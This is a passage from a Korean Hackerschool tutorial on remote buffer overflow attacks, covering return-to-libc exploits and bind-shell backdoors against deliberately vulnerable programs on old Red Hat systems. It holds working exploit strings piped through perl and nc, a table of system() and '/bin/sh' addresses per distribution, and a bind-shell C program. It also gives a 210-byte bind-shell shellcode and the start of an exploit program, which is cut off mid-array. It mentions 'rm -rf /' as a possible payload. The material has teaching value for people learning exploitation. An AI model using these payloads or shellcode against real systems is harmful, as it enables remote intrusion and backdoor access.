printf "sh\0\0"x31 : 쉘을 의미하는 sh 명령이다. 인자로 불러질 때 문자열의 끝을 인식하도록 하기 위해 NULL을 넣어주었고, 4바이트 단위를 맞추기 위해 또 한번의 NULL을 넣어주었다. 이것이 저장되는 부분은 취약 프로그램의 지역 변수 이며, 0xc0000000 주소에서 4바이트씩 감소시키다 보면 언젠가는 이 부분을 가리 켜서 쉘을 실행하게 될 것이다.

 

printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소이며, 리턴 어드레스를 덮어 쓰게 된다. 그 뒤의 AAAA GARBAGE 4바이트이다. 리턴 어드레스로부터 8바이트  뒷 쪽의 값을 system 함수의 인자로 사용하기 때문이다.

 

printf "?\n" : BRUTE FORCE로 구한 인자의 주소가 입력되는 부분이다. ? 부분에 주소 값이 저장된다.

 

이렇게 보니 확실히 쉽다. 참고로 앞쪽의 printf "id\n" 부분은 공격에 성공하여 쉘을 획득한 후, 화면에 아무것도 나타나지 않아 우리가 공격이 성공했는지를 알기 어렵기 때문에 id 명령의 결과가 출력되도록 한 것이다.

 

이제 이 Exploit을 실행시켜보자.

 

====================================

[root@ftz BOF]# ./ex

&arg = 0xc0000000

sh: AAAA: command not found

&arg = 0xbffffffc

&arg = 0xbffffff8

... 생략

sh: 000: command not found

&arg = 0xbfffff2c

&arg = 0xbfffff28

&arg = 0xbfffff24

&arg = 0xbfffff20

&arg = 0xbfffff1c

uid=1000(guest) gid=1000(guest)

(공격 성공)

====================================

 

1분도 채 안되서 0xbfffff1c에서 쉘 명령을 발견하였다. 그런데 얼핏 봐도 이 주소 영역가 취약 프로그램의 로컬 변수 영역은 아닌 것 같다. 과연 어떤 부분이길래 쉘 명령이 있는 것일까? GDB로 조사해보면.. 바로 "SHELL=/bin/bash" , 환경 변수에서 /bin/bash 문자열을 찾아냈던 것이다. 따라서 Exploit string의 앞 쪽에 "sh\0\0"을 가득 매웠던 것은 의미가 없었다. , 만약 이 환경변수의 "/bin/bash" 문자열의 시작 주소가 4바이트 단위로 딱 떨어지지 않았었다면, 위처럼 쉽게 쉘이 뜨지 않았을 것이다. 따라서 변수에 특정 문자열이 들어가게 하는 것이 아주 필요가  없는 것도 아니다. 하지만, 4바이트가 아닌 1바이트 단위로 arg의 주소를 감소시켜 나갔다면 얘기는 또 달라진다. 1바이트 단위로 BRUTE FORCE를 진행하면 100% 환경 변수의 "/bin/bash"를 참조할 수 있기 때문이다. 이런 점들을 모두 감안하여 각자가 알아서 가장 합리적인 방법으로 공격을 시도하기 바란다.

 

단 한번에 RTL을 이용한 공격 성공시키기

 

앞서 진행한 공격 결과를 자세히 보면 신기한 점이 발견된다.

 

====================================

[root@ftz BOF]# ./ex

&arg = 0xc0000000

sh: AAAA: command not found

...

====================================

 

바로 주소가 0xc0000000일 때, 우리가 GARBAGE로 넣었던 AAAA가 튀어나온 것이다.

어째서 이러한 결과가 나타난 것일까? 일단, return address + 8 부분에 들어가게 되는 값을 생각해보자. 이 부분의 값은 sprintf(command, "...%s..."), &arg); 부분에 의하여 &arg의 값. , 0xc0000000이 들어갈 것 같다. 하지만 조금 더 생각 해보면 0xc0000000 BIG ENDIAN으로 변환되어 0x000000c0과 같이 반대로 적용 된다는 것을 알 수 있다. 그럼, 첫 바이트가 NULL(0x00)이기 때문에 결국 return address + 8 부분에는 아무 것도 저장이 되지 않는다. 그리고, 그 대신 다음 이어지는 printf "\n" 부분에 의해서 엔터 키가 입력이 된다. 이제 취약 프로그램으로 이 문자열이 전송이 되고, 엔터인 \n은 문자열의 끝이었음을 의미함으로 자동으로 gets 함수에 의해 NULL로 변환 된다.

 

, 그럼 과연 이 상황에서의 스택에 어떤 것들이 담기게 되는지 dumpcode를 이용하여 살펴보자. 다음은 SFP 직전까지만 덮도록 문자열을 보낸 것의 덤프 결과이다.

 

0xbffffaa0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffab0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffac0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffad0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffae0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffaf0 73 68 00 00 73 68 00 00 73 fb ff bf 99 74 01 42   sh..sh..8....t.B

0xbffffb00 01 00 00 00 64 fb ff bf 6c fb ff bf fa 82 04 08   ....d...l.......

 

위에서 0xbffffaf0 라인의 가장 오른쪽에 있는 \x42017499가 바로 main 함수의 올바른 리턴 어드레스이다. 그리고 리턴 어드레스의 시작 주소에서부터 8바이트 떨어진 곳을  보면, \xbffffb64가 위치한다. 그리고 이 것은 argv[0]의 주소이다. 이제 다시 공격 하는 상황으로 돌아가서, return address + 8 부분을 지정해주지 않은 채, \n가 입력되고, \n 0x00으로 변환되는 상황을  생각해보자.

 

그럼, 위 주소에서 0xbffffb00 부분에는 GARBAGE "AAAA"가 입력될 것이고, 바로 뒤의 \x64 \n이 되었다가 최종적으로는 \x00이 될 것이다. 따라서, return address+8의 값은 결국 \xbffffb00이 되어버린다. 그리고 그 부분에는? 그렇다. 바로 "AAAA" 가 있다. 그렇기 때문에 0xc0000000이 주소가 되었을 때 AAAA가 실행되었던 것이다.

이는 즉, 비단 0xc0000000 뿐만 아니라, 앞쪽 1바이트가 NULL이 되는 모든 주소일 때도 같은 상황이 나타나며, 아예 이 주소 값을 지정해주지 않아도 같은 상황이 나타 날 것이다.

 

, 위에서 AAAA가 위치하게 되는 0xbfffff00 주소 값이 시스템에 따라 항상 일정 한 것이 아니다. , 만약 AAAA가 위치하게 되는 주소가 0xbfffff10이라면, return address+8 부분의 첫 바이트가 NULL로 바뀌어봤자 전혀 소용이 없다. 따라서 이 공격은 AAAA가 위치하는 부분의 주소가 00으로 끝나는 환경에서만 적용된다는 단점이 있다. 그러나, 이 특징을 잘 이해하고, 여러가지 공격 테스트를 직접 경험하여 노하우를 쌓게 되면, return address+4 부분의 값이 보통 어떤 것이 된다는 것을 예측할 수 있게 될 것이다. 아마도 보통 0xbffffb00, 0xbffffb10, 0xbffffb20,... 0xbffffbf0, 16개 중의 하나가 될 것이다. 마지막 1바이트가 무조건 1이 되는 이유는 리턴 어드레스가 16바이트 단위로 정렬되어 dump했을 때 가장 뒷 부분에 위치하기 때문이다. 가장 뒷 부분은 0x???????f로 끝나게 됨으로 그 다음 바이트이며, AAAA가 위치했던 주소의 끝 바이트는 자연스럽게 0이 되는 것이다.

이 특징을 파악하였다면, 최대 16번 이내에 RTL 기법을 성공시킬 수 있음을 의미 한다. 텍스트 만으로는 이해가 힘들 것이니 더욱 자세한 내용은 직접 테스트를 해보며 학습하기 바란다.

 

단 한번에 RTL을 이용한 공격 성공시키기 2

 

이번엔 또 다른 방법으로 RTL 공격을 단 한번에 성공시키는 방법이다. 앞서 우리는 OS의 버젼만 동일하다면, 라이브러리 내의 system() 함수 주소 역시 동일하다는 것을 배웠다. 그럼, 라이브러리 내에 존재하는 "/bin/sh"라는 문자열의 위치 역시 항상 일정하지 않을까? 아마도 적재되는 라이브러리의 내용은 항상 정적임으로 system() 함수의 주소와 마찬가지로 일정한 주소 값에 위치하게 될 것이 확실하다.

그럼, 과연 라이브러리 내에 "/bin/sh"라는 문자열이 존재할까? 존재할 확률은 매우 크다. 일단, "/bin/sh"라는 문자열이 워낙 빈도있게 사용되는 문자열인데다가, system() 등의 쉘을 호출하는 함수들이 아마도 내부적으로 "/bin/sh"을 필요로 할 것이기 때문이다. 그럼, 다음과 같은 간단한 프로그램을 구현하여 라이브러리 내에서 "/bin/sh"라는 문자열을 찾아보도록 하자.

 

===========================================================

int main()

{

        char *pointer;

        pointer = (char *)0x42000000;

 

        while(1){

                pointer++;

                if(strncmp(pointer, "/bin/sh", 7)==0){

                        printf("Found : %p\n", pointer);

                        exit(0);

                }

        }

}

===========================================================

 

보다시피, 0x420000000에서 1바이트씩 증가해가며, "/bin/sh"라는 문자열을 검색한다.

그리고 만약 찾았을 경우 그 주소를 출력해준다. 위 프로그램을 실행해보자.

 

======================================

[root@ftz BOF]# gcc -o find find.c

[root@ftz BOF]# ./find

Found : 0x421273f3

[root@ftz BOF]#

======================================

 

위에 보이는 0x421273f3 주소에서 "/bin/sh"라는 문자열을 발견하였다. 이 주소 공간은 420000000 ~ 4212c000 사이의 값임으로, libc-2.2.5.so 공유 라이브러리 내의 값이라는 것을 /proc/self/maps 파일을 통해 유추할 수 있다.

 

, 이제 각 배포본에 해당하는 system() 함수 주소를 수집했던 것처럼 "/bin/sh" 주소의 값 역시 정리해보자.

 

각 배포본들의 system, "/bin/sh" 주소 모음 (차후 계속 업데이트 예정)

 

======================================

배포본       &system     &"/bin/sh"

--------------------------------------

레드햇 6.2 : 0x4005aae0  0x400fdff9

레드햇 7.3 : 0x42049e54  0x421273f3

레드햇 9.0 : 0x4203f2c0  0x42127ea4

======================================

 

이제 이 값들을 토대로 취약 프로그램에 대한 리모트 공격을 한번에 성공시켜보자.

 

취약 프로그램

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

공격

========================================================================

[root@ftz BOF]# (perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42AAAA";

printf "\xf3\x73\x12\x42"; printf "\n"';cat) | nc localhost 31337

id

uid=1000(guest) gid=1000(guest)

(공격 성공)

========================================================================

 

공격 STRING 분석

 

- printf "A"x124 : 버퍼와 SFP를 덮을 쓰레기 값

- printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소 +

                                  쓰레기 4바이트(ret + 8에 인자가 위치함으로)

- printf "\xf3\x73\x12\x42" : "/bin/sh"의 주소

- printf "\n" : 엔터 (gets에 대한 입력의 끝을 알림)

 

이제 공격 과정이 너무나도 간단해졌다. 위 주소 모음을 수첩에 적어놓고 다니면

버퍼 오버플로우 공격은 따논 당상이 된다. 참고로 위 주소 값은 로컬 환경에서도 그대로 적용되며, 만약 위 주소 값과 실제 값이 다른 상황이라고 하더라도 로컬에서 직접 주소를 구하면 되니 걱정할 필요가 없다.

이로써 총 7가지 방법으로 리모트 오버플로우 공격을 시도해 보았다. 이 것으로

문서를 마치도록 하고, 조만간 Xinetd에 연결되지 않고, 독립적으로 구현된

네트워크 프로그램에 대한 공격 테스트를 이번에 한 것과 같은 순서로 설명하여

올리도록 하겠다.

 

 

 

 

 

 

리모트 버퍼 오버플로우 총정리2

made by Hackerschool_mongil

 

 

부제 : 독립적인 네트워크 프로그램에 대한 오버플로우 공격
 
Xinetd에 의해 네트워크에 연결된 로컬 프로그램은 그것의 표준 입출력 주체가 모두 해당 Port에 연결된 클라이언트가 된다. 그렇기 때문에, 오버플로우 공격에 성공 하여 쉘을 획득하게 되면, 그 쉘의 표준 입출력 역시 Xinetd의 덕으로 클라이언트와 연결이 되어 공격자가 자유롭게 쉘을 사용할 수 있었던 것이다. 하지만, Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. , 직접 socket을 생성하고, bindlisten 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send() recv() 등의 함수에 의한 통신만 가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가
서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다.
결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는
것이다. 이번 강좌에서는 이러한 상황에서 타겟 서버의 쉘을 획득하는 방법에 
대해 설명한다. 다음의 취약한 소스를 보자.
 
=============================================================================
// 리모트 버퍼 오버플로우 취약점을 가진 프로그램
// string 변수의 크기는 300바이트이나, recv() 함수로 400바이트를
// 입력받아 string 변수에 저장하는 과정에서 오버플로우 발생.
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        char string[300], sendmsg[400];
        // sendmsg 변수는 단순히 클라이언트로의 응답을 위한 것임.
 
        int sockfd, your_sockfd;
        struct sockaddr_in my_addr, your_addr;
        int len;
                
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(31337);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&my_addr.sin_zero, 8);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1){
                perror("bind error");
                exit(-1);
        }
        listen(sockfd, 5);
 
        while(1){
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        if(your_sockfd==-1){
                perror("accept error");
                exit(-1);
        }
 
        if(fork()!=0){
            close(your_sockfd);
            continue;
        }
        else
            break;
        }
        printf("connected from %s\n", inet_ntoa(your_addr.sin_addr));
        len = recv(your_sockfd, string, 400, 0);
        printf("String Length = %d\n", len);
        string[len-1] = '\0';
        sprintf(sendmsg, "당신이 입력한 문자열 : %s\n", string);
        send(your_sockfd, sendmsg, strlen(sendmsg), 0);
 
        close(sockfd);
        close(your_sockfd);
}
===========================================================================
 
위 프로그램은 TCP 31337번 포트를 생성한 후, 이 곳으로 접속된 클라이언트에게 한 번의 문자열을 입력 받은 후, 그것을 다시 클라이언트에게 출력해주고 종료한다.
이처럼, 독립적인 네트워크 프로그램으로 구현될 경우엔 소스 내의 send() recv()함수가 요청하고, 보내주는 입출력만 처리할 수 있다. , 위 프로그램의 경우엔 오로지 한 번 입력을 받고, 역시 한 번 출력을 할 수밖에 없는 것이다. 그럼 위와 같은 환경에서 string 변수를 overflow시켜 쉘을 획득했다고 해보자. 그럼, 그  쉘의 입력과 출력은 어디로 연결될까? 보다시피 main() 함수가 종료된 이후에는 아무런 send() recv() 함수도 존재하지 않음으로, 입력도 받을 수 없고, 출력 역시 할 수 없다. 더군다나, main() 함수가 종료되기 직전에 sockfd your_sockfd. , 통신에 사용하는 모든 소켓을 닫아버리기 때문에 쉘과 입출력 통신을 하는 것은 더욱 막연 하기 만하다. 아마도, 위 프로그램을 오버플로우 시켜 쉘을 띄우게 되면, 그 쉘을 실행하는 것은 프로그램의 백그라운드 프로세스가 될 것이다. , 공격자와 공격 대상자가 있을 때, 공격 대상자의 쉘이 다시 공격 대상자에게 실행되는  것이니 아무런 의미가 없다. 더군다나 실제로 위와 같은 형태에 네트워크 프로그램은 터미널에 연결되지 않은 데몬 형태로 작동하는 경우가 대부분이며, 그와 같은 경우엔 쉘이 실행되더라도 그 쉘을 받게되는 주체는 아무 것도 없게되고, 따라서 통신 대상이 없는 쉘은 실행된 즉시 소멸될 것이다. 
 
, 그럼 이와같은 상황에서 어떻게 공격을 구상해야할 것인가? 일단, 쉘코드. , 타겟 서버로 전송되는 기계어 코드가 꼭 쉘을 띄우는 것만일 필요는 없다는 점을 상기해야 한다. 다시 말해 타겟 서버에 명령을 내리는 어떠한 기계어도 실행시킬 수 있다는 얘기다. 따라서 꼭 쉘을 얻는 것만이 아닌 "rm -rf /" 역할을 하는 기계어도 실행시킬 수 있고, "adduser mirable"이라는 명령의 기계어도 실행시킬 수 있다는 말이다. 비록 직접적으로 쉘은 얻어내지 못하더라도 우리는 원하는 모든 명령을 타겟 서버에 실행되게 할 수가 있다. 그럼, 과연 어떤 기계어 코드를 전송해야 가장 효과적일까? passthru() 함수를 담은 /home/public_html/backdoor.php 파일을 만들까? 이건 좀 번거로워 보인다. 그럼, /usr/sbin/in.telnetd 프로그램을 이용 하여 백도어를 생성할까? 그나마 조금 괜찮은 방법이다. 하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 
있게 된다. 
 
, 그럼 이제 답은 나왔다. 지금까지 사용해왔던 "/bin/bash"를 실행하는 쉘코드는 독립적인 네트워크 프로그램에 대한 오버플로우 공격엔 아무런 쓸모가 없음으로 버려버리고, 대신 백도어 쉘을 생성하는 바인드 쉘 코드를 사용하도록 하자.
그럼, 먼저 바인드 쉘 프로그램을 C언어로 구현하여 그 동작 원리를 이해해 보도록 하자.
 
==========================================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        int sockfd, your_sockfd, len;
        struct sockaddr_in my_addr, your_addr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(12345);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&my_addr.sin_zero, 0, 8);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
                perror("bind");
                exit(-1);
        }
        listen(sockfd, 5);
 
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..
        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..
        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..
 
        execl("/bin/bash", "bash", 0);
 
        close(sockfd);
        close(your_sockfd);
}
==========================================================================
 
가장 핵심이 되는 부분은 dup2()가 사용된 세 줄이다. dup2()는 디스크립터 복사
함수로써, dup2(your_sockfd, 0) your_sockfd 디스크립터를 0 디스크립터로 복사 하라는 의미임으로 곧 0 your_sockfd가 된다. 0 stdin. , 표준 입력이며, 표준 입력이 your_sockfd(클라이언트와 연결된 소켓)가 된 것이다. , dup2(your_sockfd, 1)에 의해서 표준 출력의 주체 역시 클라이언트의 소켓이 되었다. 마지막 dup2(your_sockfd, 2)에 의해서 에러 출력의 주체도 클라이언트가 되었고,결과적으로 프로그램의 입출력 대상이 포트에 연결된 클라이언트가 되었다.
또한, 이 상태에서 "/bin/bash"를 실행하였으니, 쉘읠 입출력 대상 역시 클라이언트가 되는 것이고, 클라이언트 입장에서 볼 때는 마치 로컬에서 직접 쉘을 실행한 것과 같은 결과를 얻게 되는 것이다. (위 프로그램은 원리 이해를 쉽게하기 위하여 오직 한 번의 클라이언트부터의 연결만 받도록 구현되어있다. 여러 개의 클라이언트를 받거나, 쉘이 종료된 후에도 프로그램이 작동하도록 하려면, fork() 함수를 사용하여 접속이 올 때마다 똑같은 프로세스를 복사해서 실행하도록 수정하면 될 것이다.)
 
이제 위 C언어 코드를 기계어. 즉 백도어 쉘코드로 변환하는데, 직접 쉘코드를
구현하면 많은 시간과 지면이 소요됨으로 이 강좌에선 이미 완성된 백도어 쉘코드를 가져와 사용하도록 하겠다.
 
◎ TCP 45295 Port를 열어주는 Bind Shell 백도어 기계어 코드. (from sambal.c)
 
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
위 문자열은 총 210바이트이며, 이 용량을 수용하기위하여 취약 프로그램의
버퍼 크기를 넉넉하게 300 바이트로 할당한 것이었다.
그럼 이제 실제 공격 테스트를 진행해보자. 공격 환경은 다음과 같다.
 
==================================================================
Target : ftz.hackerschool.org, 레드햇 7.3, gcc 2.96
         다음과 같이 guest 계정으로 취약 프로그램을 실행한다.
 
[guest@ftz guest]$ gcc -o vuln_prog vuln_prog.c
[guest@ftz guest]$ ./vuln_prog
==================================================================
 
공격자의 서버 환경은 유닉스 기반이기만하면 어떤 것이 되던지 상관없다. 
이 문서를 작성할 땐 같은 서버에 또 하나의 터미널로 접속한 후, localhost
공격을 테스트하였다.
 
==================================================================
[guest@ftz guest]$ telnet localhost 31337
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hello
당신이 입력한 문자열 : hello
Connection closed by foreign host.
[guest@ftz guest]$ 
==================================================================
 
그럼 이제 어떤 방법으로 공격할지를 구상해보자.
공격 방법을 쉽게 떠올릴려면, 취약한 루틴에 해당하는 버퍼 상태를 그림으로
그리는 것이 큰 도움이 된다.
 
* vuln_prog의 버퍼 모습 (STACK)
 
[sendmsg(400 bytes)] [string(300 bytes)] [sfp] [return address] [ ... ]
 
여기서 문제가 될 수 있는 것은 dummy이다. 컴파일러에 의해서 dummy가 추가될
수 있기 때문이다. 다음과 같은 간단한 테스트 프로그램을 만들어 dummy 생성
여부를 확인해 보자.
 
============================================
#include "dumpcode.h"
 
int main()
{
        char string[300], sendmsg[400];
 
        memset(string, 'A', 300);
        memset(sendmsg, 'B', 400);
 
        dumpcode(sendmsg, 800);
}
============================================
 
* 실행 결과
 
==============================================================================
[guest@ftz guest]$ gcc -o dummy dummy.c
[guest@ftz guest]$ ./dummy
0xbffff8a0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8b0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8c0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8d0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8e0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8f0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff900  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff910  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff920  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff930  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff940  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff950  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff960  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff970  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff980  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff990  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9a0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9b0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9c0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9d0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9e0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9f0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa00  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa10  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa20  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa30  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa40  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa50  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa60  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa70  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa80  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa90  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffaa0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffab0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffac0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffad0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffae0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffaf0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb00  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb10  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb20  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb30  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb40  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb50  41 41 41 41 41 41 41 41 41 41 41 41 51 84 04 08   AAAAAAAAAAAAQ...
0xbffffb60  84 97 04 08 88 98 04 08 a8 fb ff bf 99 74 01 42   .............t.B
0xbffffb70  01 00 00 00 d4 fb ff bf dc fb ff bf fa 82 04 08   ................
0xbffffb80  30 87 04 08 00 00 00 00 a8 fb ff bf 82 74 01 42   0............t.B
0xbffffb90  00 00 00 00 dc fb ff bf bc e5 12 42 c0 34 01 40   ...........B.4.@
0xbffffba0  01 00 00 00 70 83 04 08 00 00 00 00 91 83 04 08   ....p...........
0xbffffbb0  94 86 04 08 01 00 00 00 d4 fb ff bf e4 82 04 08   ................
 
[guest@ftz guest]$ 
==========================================================================
 
위 결과를 분석해보면, string 변수를 16바이트 단위를 만들기 위해 4바이트의
더미가 추가되었으며, return address sfp 16바이트 단위로 만들기 위해
8바이트의 더미가 추가된 것을 볼 수 있다. ,  12바이트의 더미가 생성된
것이다. 이제 버퍼를 다시 그려보자.
 
* vuln_prog의 버퍼 모습 (STACK)
 
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
 
이제 이 프로그램이 공격당할 때의 버퍼 모습을 쉽게 유추할 수 있다.
 
* 공격당할 때의 버퍼 모습
 
[sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...]
                     ~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~  ┃ 
                     [210바이트 쉘코드] [어떤 값이 되던 상관없음.] ┃
                     ↑                                            ┃
                     ┗━━━━━━━━━━━━━━━━━━━━━━┛
                      * 리턴 어드레스가 쉘코드의 시작을 가리키도록 함.
 
위와 같은 모양이 된다면, 버퍼가 오버플로우 되고, main()함수가 종료되는 시점에서 바인드 쉘 코드가 실행됨과 동시에 45295번 포트가 열릴 것이다.
이제 Exploit을 구현해 나가보자. 문제가 될만한 부분은 쉘 코드의 시작 위치를 
어떻게 알아 내느냐 하는 것인데, 역시 특별한 방법은 없으며, Brute Force를 통해 그 위치를 찾아나가야 한다. 
 
◎ Exploit 작성 1단계 : 취약 프로그램의 버퍼에 저장될 공격 string을 구성한다.
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
